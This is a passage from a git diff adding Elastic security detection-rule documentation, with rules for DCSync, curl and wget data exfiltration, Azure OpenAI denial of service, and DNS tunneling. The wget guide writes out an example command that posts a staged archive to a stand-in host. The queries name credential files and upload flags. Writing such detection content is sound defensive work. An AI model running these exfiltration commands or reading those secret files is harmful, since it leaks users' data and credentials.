object. + +Adversaries can use the DCSync technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller, compromising major credential material such as the Kerberos krbtgt keys used legitimately for tickets creation, but also tickets forging by attackers. This attack requires some extended privileges to succeed (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), which are granted by default to members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups. Privileged accounts can be abused to grant controlled objects the right to DCsync/Replicate. + +More details can be found on https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing[Threat Hunter Playbook] and https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync[The Hacker Recipes]. + +This rule monitors for Event ID 4662 (Operation was performed on an Active Directory object) and identifies events that use the access mask 0x100 (Control Access) and properties that contain at least one of the following or their equivalent Schema-Id-GUID (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set). It also filters out events that use computer accounts and also Azure AD Connect MSOL accounts (more details https://techcommunity.microsoft.com/t5/microsoft-defender-for-identity/ad-connect-msol-user-suspected-dcsync-attack/m-p/788028[here]). + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Correlate security events 4662 and 4624 (Logon Type 3) by their Logon ID (`winlog.logon.id`) on the Domain Controller (DC) that received the replication request. This will tell you where the AD replication request came from, and if it came from another DC or not. +- Scope which credentials were compromised (for example, whether all accounts were replicated or specific ones). + + +*False positive analysis* + + +- Administrators may use custom accounts on Azure AD Connect, investigate if it is the case, and if it is properly secured. If noisy in your environment due to expected activity, consider adding the corresponding account as a exception. +- Although replicating Active Directory (AD) data to non-Domain Controllers is not a common practice and is generally not recommended from a security perspective, some software vendors may require it for their products to function correctly. If this rule is noisy in your environment due to expected activity, consider adding the corresponding account as a exception. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the entire domain or the `krbtgt` user was compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user. +- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and event.code:"4662" and + winlog.event_data.Properties:( + *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or + *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or + *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c* + ) and winlog.event_data.AccessMask : "0x100" and + not winlog.event_data.SubjectUserName:(*$ or MSOL_*) and + not winlog.event_data.SubjectUserSid:"S-1-0-0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-curl.asciidoc new file mode 100644 index 0000000000..c0a9f6f3cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-curl.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-36-potential-data-exfiltration-through-curl]] +=== Potential Data Exfiltration Through Curl + +Detects the use of curl to upload files to an internet server. Threat actors often will collect and exfiltrate data on a system to their C2 server for review. Many threat actors have been observed using curl to upload the collected data. Use of curl in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://everything.curl.dev/usingcurl/uploads +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Curl* + + +Curl is a command-line tool used for transferring data with URLs, commonly employed for legitimate data exchange tasks. However, adversaries can exploit curl to exfiltrate sensitive data by uploading compressed files to remote servers. The detection rule identifies suspicious curl usage by monitoring for specific command patterns and arguments indicative of data uploads, flagging abnormal activities for further investigation. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of suspicious arguments such as "-F", "-T", "-d", or "--data*" and check for any compressed file extensions like .zip, .gz, or .tgz being uploaded to an external server. +- Investigate the parent process of the curl command to understand the context in which curl was executed, including the parent executable and its purpose. +- Examine network logs to identify the destination IP address or domain to which the data was being uploaded, and assess whether it is a known or suspicious entity. +- Check for any recent file creation or modification events on the host that match the compressed file types mentioned in the query, which could indicate data collection prior to exfiltration. +- Correlate this event with other security alerts or logs from the same host to identify any patterns of behavior that might suggest a broader compromise or data exfiltration attempt. + + +*False positive analysis* + + +- Legitimate data transfers using curl for system backups or data synchronization can trigger the rule. To manage this, identify and whitelist specific processes or scripts that are known to perform these tasks regularly. +- Automated system updates or software installations that use curl to download and upload data might be flagged. Exclude these processes by verifying their source and adding them to an exception list if they are from trusted vendors. +- Internal data transfers within a secure network that use curl for efficiency can be mistaken for exfiltration. Monitor the destination IP addresses and exclude those that are internal or known safe endpoints. +- Developers or system administrators using curl for testing or development purposes may inadvertently trigger the rule. Educate these users on the potential alerts and establish a process for them to notify security teams of their activities to prevent unnecessary investigations. +- Scheduled tasks or cron jobs that use curl for routine data uploads should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Terminate any suspicious curl processes identified by the detection rule to stop ongoing data transfers. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or compromised data. +- Change credentials and access keys that may have been exposed or used during the incident to prevent unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Review and update firewall and network security rules to block unauthorized outbound traffic, especially to suspicious or unknown external servers. +- Implement enhanced monitoring and logging for curl usage and similar data transfer tools to detect and respond to future exfiltration attempts promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name : ("curl", "curl.exe") and +( + process.args in ("-T", "--upload-file") or + ( + (process.args in ("-F", "-d", "--form") or process.args like "--data*") and process.command_line like "*@*" + ) +) and +( + process.command_line like ("*http:*", "*https:*", "*ftp:*", "*ftps:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) and +not ( + process.args : ( + "https://*/ap/fleet/*", "https://*/api/saved_objects/*", "http*localhost:*", "http*127.0.0.*", "*ApiKey*", "http*.us-central1.run.app/*", + "*Authorization*", "*session.id*", "http*.elastic-cloud.com*", "http*.elastic.dev*", "http*.elastic.cloud*", "http*.aws.found.io*", + "http*.gcp.cloud.es.io*", "http*.cisco.com/api/*", "-u", "http://192.168*", + "*incoming.telemetry.mozilla.org*", "*cloudamize.com*", "https://analytics.brew.sh/*" + ) or + process.args == "--unix-socket" or + process.parent.name like "clevis*" or + ?process.parent.executable in ("/usr/bin/clevis-decrypt-tang", "/bin/clevis-decrypt-tang") or + ( + ?process.parent.executable == "C:\\Windows\\SysWOW64\\cmd.exe" and + ?process.parent.args like "?:\\*\\temp-app\\caller_batch_*.bat" + ) or + ( + ?process.parent.executable == "/opt/rudder/share/commands/agent-run" and + ?process.parent.command_line == "/bin/sh /opt/rudder/share/commands/agent-run -uRN" and + process.args like "/var/rudder/reports/ready/*" + ) or + ( + ?process.parent.executable like "/var/lib/docker/overlay2/*/merged/usr/bin/bash" and + ?process.parent.command_line like "bash /home/*/old/scripts/crawler.sh start" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol +** ID: T1048.001 +** Reference URL: https://attack.mitre.org/techniques/T1048/001/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-wget.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-wget.asciidoc new file mode 100644 index 0000000000..e8e58bb8ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-data-exfiltration-through-wget.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-36-potential-data-exfiltration-through-wget]] +=== Potential Data Exfiltration Through Wget + +Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/wget/ +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Wget* + + +This rule flags Linux processes that launch wget with options that upload a local file via HTTP POST, a behavior used to exfiltrate staged data to an external server. Attackers gather files, compress them in /tmp, then execute wget --post-file=/tmp/loot.tar.gz https://example.com/upload from a non-interactive shell or cron job to covertly push the archive out over standard web traffic. + + +*Possible investigation steps* + + +- Pull the full command line to extract the posted file path, verify the file still exists, capture size/timestamps, and hash its contents to gauge sensitivity and origin. +- Review the process tree and session context (parent, user, TTY, cron/systemd/container) and correlate with recent logins or scheduler entries to determine whether this was automated or a remote shell action. +- Enrich the destination endpoint with DNS, WHOIS, certificate, proxy, and egress firewall logs, and check for prior communications from this host to the same domain/IP to assess legitimacy. +- Pivot 30–60 minutes prior on the host/user for staging activity such as tar/gzip in /tmp, bulk file collection, or discovery commands, and interrogate shell history and filesystem events tied to the posted file. +- If the file was removed post-upload, attempt recovery from EDR or backups and estimate exfil volume and content types via proxy or egress gateway logs to determine impact and drive containment. + + +*False positive analysis* + + +- A maintenance or monitoring script run via cron posts log archives or configuration snapshots using wget --post-file to an internal HTTP endpoint for routine diagnostics. +- An administrator or developer testing a web form or API uses wget --body-file to POST a sample file during troubleshooting, producing a benign one-off event. + + +*Response and remediation* + + +- Immediately isolate the host, terminate the offending wget process, block outbound HTTP(S) to the destination domain/IP seen in the command wget --post-file=/path/to/file https://example.com/upload, and quarantine the posted file path and its parent directory. +- Identify and disable any cron, systemd, or shell script that invoked wget with --post-file or --body-file (e.g., entries in /etc/cron.d/, user crontabs, or /home/user/.local/bin/upload.sh), delete the script, and revoke the invoking account’s API tokens and SSH keys. +- Remove staged archives and temp files referenced in the upload (e.g., /tmp/loot.tar.gz and /var/tmp/*.gz), delete companion tooling or collection scripts found alongside them, and reimage the host if system integrity cannot be assured. +- If the posted content includes credentials, source code, or customer data, rotate affected passwords/keys, invalidate tokens, notify data owners, and restore impacted systems or files from known-good backups. +- Escalate to incident response and initiate wider containment if the destination domain/IP is not owned by the organization or resolves to an anonymizing/VPS service, if multiple hosts exhibit wget --post-file from non-interactive sessions, or if the uploader executed as root. +- Harden by enforcing SELinux/AppArmor policies that restrict wget/curl from posting files, requiring egress web proxy allowlists for HTTP POST destinations, adding detections for wget --post-file/--body-file and curl --upload-file/-F, and removing wget from systems where it is unnecessary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "wget" and process.parent.name != null and ( + process.args like ("--post-file*", "--post-data*", "--body-file*") or + ( + process.command_line like ("*cat*", "*base64*") and + process.command_line like ( + "*/etc/passwd*", "*/etc/shadow*", "*~/.ssh/*", "*.env*", "*credentials*", "*/tmp/*", + "*/var/tmp/*", "*/dev/shm/*", "*/home/*/*", "*/root/*" + ) + ) +) and +( + process.command_line like ("*http:*", "*https:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-denial-of-azure-openai-ml-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-denial-of-azure-openai-ml-service.asciidoc new file mode 100644 index 0000000000..7232992afb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-denial-of-azure-openai-ml-service.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-potential-denial-of-azure-openai-ml-service]] +=== Potential Denial of Azure OpenAI ML Service + +Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk/llm102025-unbounded-consumption/ +* https://atlas.mitre.org/techniques/AML.T0029 + +*Tags*: + +* Domain: GenAI +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Denial of Service +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Service: Azure OpenAI +* Service: Azure Event Hubs +* Mitre Atlas: AML.T0029 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Denial of Azure OpenAI ML Service* + + +Azure OpenAI ML services enable scalable deployment of machine learning models, crucial for AI-driven applications. Adversaries may exploit these services by overwhelming them with excessive or malformed requests, leading to service degradation or outages. The detection rule identifies such threats by monitoring for high-frequency, large-size requests, which are indicative of potential denial-of-service attacks. + + +*Possible investigation steps* + + +- Review the logs for the specific time window identified by the target_time_window field to understand the context and volume of requests. +- Identify the specific Azure resource involved using the azure.resource.name field to determine if the service is critical or sensitive. +- Examine the cloud.account.id field to ascertain if the requests are originating from a known or trusted account, or if they are potentially malicious. +- Analyze the request patterns, focusing on the avg_request_size and count fields, to determine if the requests are consistent with normal usage or indicative of a potential attack. +- Check for any recent changes or updates to the Azure OpenAI ML service configuration or deployment that might have affected its performance or security posture. +- Correlate the findings with other security logs or alerts to identify any related suspicious activities or broader attack patterns. + + +*False positive analysis* + + +- High-volume legitimate usage patterns can trigger false positives, such as during scheduled batch processing or data analysis tasks. Users can mitigate this by setting exceptions for known time windows or specific resource names associated with these activities. +- Large input sizes from legitimate applications, like those processing extensive datasets or complex queries, may be misidentified as threats. Users should identify and whitelist these applications by their resource names or account IDs. +- Testing and development environments often generate high-frequency requests as part of load testing or performance tuning. Users can exclude these environments by filtering out specific resource names or account IDs associated with non-production activities. +- Automated scripts or integrations that interact with the Azure OpenAI ML service at high frequencies for valid business processes might be flagged. Users should document and exclude these scripts by identifying their unique request patterns or resource identifiers. + + +*Response and remediation* + + +- Immediately throttle or block the IP addresses or accounts responsible for the high-frequency, large-size requests to prevent further service degradation. +- Notify the Azure OpenAI service administrators and relevant stakeholders about the detected potential denial-of-service attack for awareness and further action. +- Review and adjust rate limiting and request size policies on the Azure OpenAI ML service to mitigate the impact of similar attacks in the future. +- Conduct a post-incident analysis to identify any vulnerabilities or misconfigurations that allowed the attack to occur and address them promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger threat campaign. +- Implement additional monitoring and alerting for unusual patterns of requests, focusing on high volume and frequency, to enhance early detection of similar threats. +- Coordinate with the cloud provider's support team to ensure any necessary infrastructure adjustments or protections are in place to prevent recurrence. + + +==== Setup + + + +*Setup* + + +For more information on streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| eval + Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp) +| where azure.open_ai.operation_name == "ChatCompletions_Create" +| keep + azure.open_ai.properties.request_length, + azure.resource.name, + cloud.account.id, + Esql.time_window_date_trunc +| stats + Esql.event_count = count(*), + Esql.azure_open_ai_properties_request_length_avg = avg(azure.open_ai.properties.request_length) + by + Esql.time_window_date_trunc, + azure.resource.name +| where + Esql.event_count >= 10 and + Esql.azure_open_ai_properties_request_length_avg >= 5000 +| sort Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-dns-tunneling-via-null-or-long-dns-queries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-dns-tunneling-via-null-or-long-dns-queries.asciidoc new file mode 100644 index 0000000000..8178a0b9cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-dns-tunneling-via-null-or-long-dns-queries.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-36-potential-dns-tunneling-via-null-or-long-dns-queries]] +=== Potential DNS Tunneling via NULL or Long DNS Queries + +Identifies DNS query patterns associated with tunneling, including rare NULL queries, repeated TXT queries with unusually long names, and clients generating many unique, long subdomains under one registered domain within a five-minute window. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://code.kryo.se/iodine/ +* https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Rule Type: ES|QL +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Network Packet Capture +* Data Source: Fortinet +* Data Source: Network Traffic +* Data Source: Zeek +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Tunneling via NULL or Long DNS Queries* + + +DNS tunneling encodes data in query labels and often produces many unique, unusually long subdomains under a single apex +domain. Some tunneling tools also use rare NULL queries or long TXT query names. This rule aggregates network DNS +telemetry for those behavioral patterns without relying on threat intelligence feeds or machine learning jobs. + +Compare overlapping apex domains against the machine learning **DNS Tunneling** rule when that job is enabled. + + +*Possible investigation steps* + + +- Review `Esql.dns_registered_domain`, `Esql.dns_question_type_values`, `Esql.total_qualifying_queries`, + `Esql.count_distinct_names`, `Esql.unique_name_ratio`, `Esql.max_question_name_length`, + `Esql.max_subdomain_length`, and sample values in `Esql.sample_names`. +- NULL alerts require at least three queries and two distinct names. Long-TXT alerts require at least five distinct + names longer than 100 characters. The general long-subdomain branch retains the original threshold of 25 queries and + 15 distinct names across all query types. +- `Esql.count_queries`, `Esql.count_distinct_names`, and `Esql.unique_name_ratio` describe only long-subdomain + activity. For alerts triggered only by NULL or long-TXT queries, both counts may be zero and the ratio will be null. +- TXT, NULL, CNAME, or MX bursts increase confidence; A/AAAA-only activity can still be tunneling and should not be + dismissed on type alone. +- Use `Esql.first_seen`, `Esql.last_seen`, `Esql.dataset_values`, and `Esql.observer_name_values` to establish the event + span and identify the integrations and sensors that contributed to the alert. +- Confirm whether `Esql.client_ip` is a workstation, server, recursive resolver, forwarder, NAT address, or localhost + DNS service. Resolver and localhost sources merge many clients and are a common false-positive pattern. +- Review `Esql.destination_ip_values` to identify the resolver or authoritative destination observed by the sensor. +- Pivot on the same client and apex domain in raw DNS events and look for follow-on process, file, or additional C2 + activity. + + +*False positive analysis* + + +- CDN, cloud load-balancer, certificate, and software-update services often create long hostnames. Confirm the apex + domain reputation and whether the requesting host role normally uses that provider. +- Security or network appliances performing DNS-based reachability or reputation checks can resemble tunneling. Exclude + confirmed appliance addresses after validation. +- Do not create a global resolver exception until the originating endpoint is known; a shared `Esql.client_ip` can hide + a single infected host behind legitimate bulk lookups. + + +*Response and remediation* + + +- Block the apex domain or forwarding from the affected host at recursive resolvers if malicious activity is confirmed. +- Isolate the source host and inspect for tunneling tools or malware initiating the queries. +- Add temporary blocks for the apex domain while scoping additional hosts querying the same name. + + +==== Setup + + + +*Setup* + + +This rule requires DNS transaction events from one of the following sources: + +- Elastic Network Packet Capture (`network_traffic.dns`) in `logs-network_traffic.dns-*` +- Fortinet FortiGate DNS logs (`fortinet_fortigate.log`) in `logs-fortinet_fortigate.log-*` +- Elastic Zeek (`zeek.dns`) in `logs-zeek.dns-*` +- Legacy Packetbeat DNS events in `packetbeat-*` with `event.dataset` set to `dns` + +Place the sensor where it observes endpoint-to-resolver DNS traffic. If the sensor is upstream of a recursive resolver, +or if the captured client is a localhost listener such as `127.0.0.1`, `Esql.client_ip` may identify shared DNS +infrastructure instead of the originating endpoint. + +DNS-over-HTTPS (DoH), DNS-over-TLS (DoT), and other encrypted DNS traffic are not visible to packet capture unless the +sensor receives decrypted DNS telemetry or equivalent resolver logs mapped to ECS. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dns-*, logs-fortinet_fortigate.log-*, logs-zeek.dns-*, packetbeat-* +| where + ( + data_stream.dataset in ("network_traffic.dns", "fortinet_fortigate.log", "zeek.dns") + or event.dataset == "dns" + ) + and dns.question.name is not null + and dns.question.registered_domain is not null +| eval + Esql.client_ip = COALESCE(client.ip, source.ip), + Esql.dataset = COALESCE(data_stream.dataset, event.dataset), + Esql.dns_question_name = TO_LOWER(dns.question.name), + Esql.dns_registered_domain = TO_LOWER(dns.question.registered_domain), + Esql.dns_question_type = TO_LOWER(dns.question.type), + Esql.question_name_length = LENGTH(Esql.dns_question_name), + Esql.subdomain_length = LENGTH(Esql.dns_question_name) - LENGTH(Esql.dns_registered_domain) - 1 +| where + Esql.client_ip is not null + and (Esql.dns_question_type is null or Esql.dns_question_type != "ptr") + and not ENDS_WITH(Esql.dns_question_name, ".arpa") + and ( + Esql.dns_question_type == "null" + or Esql.subdomain_length >= 50 